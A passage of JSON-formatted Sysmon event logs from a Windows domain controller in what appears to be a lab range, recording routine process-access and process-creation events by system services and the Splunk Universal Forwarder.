029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3872,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.985\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.985","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3873,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.985\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.985","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3874,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.985\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4086-5F2D-0000-001053910500}\r\nTargetProcessId: 4328\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.985","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4086-5F2D-0000-001053910500}","TargetProcessId":"4328","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3875,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:39.126\r\nSourceProcessGUID: {90617006-4086-5F2D-0000-001053910500}\r\nSourceProcessId: 4328\r\nSourceThreadId: 3540\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:39.126","SourceProcessGUID":"{90617006-4086-5F2D-0000-001053910500}","SourceProcessId":"4328","SourceThreadId":"3540","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3876,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:39.658\r\nProcessGuid: {90617006-4087-5F2D-0000-001010930500}\r\nProcessId: 1932\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:39.658","ProcessGuid":"{90617006-4087-5F2D-0000-001010930500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3877,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:39.657\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4087-5F2D-0000-001010930500}\r\nTargetProcessId: 1932\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:39.657","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4087-5F2D-0000-001010930500}","TargetProcessId":"1932","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3878,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:39.657\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4087-5F2D-0000-001010930500}\r\nTargetProcessId: 1932\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:39.657","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4087-5F2D-0000-001010930500}","TargetProcessId":"1932","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3879,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:39.657\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:39.657","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3880,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:39.657\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:39.657","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} 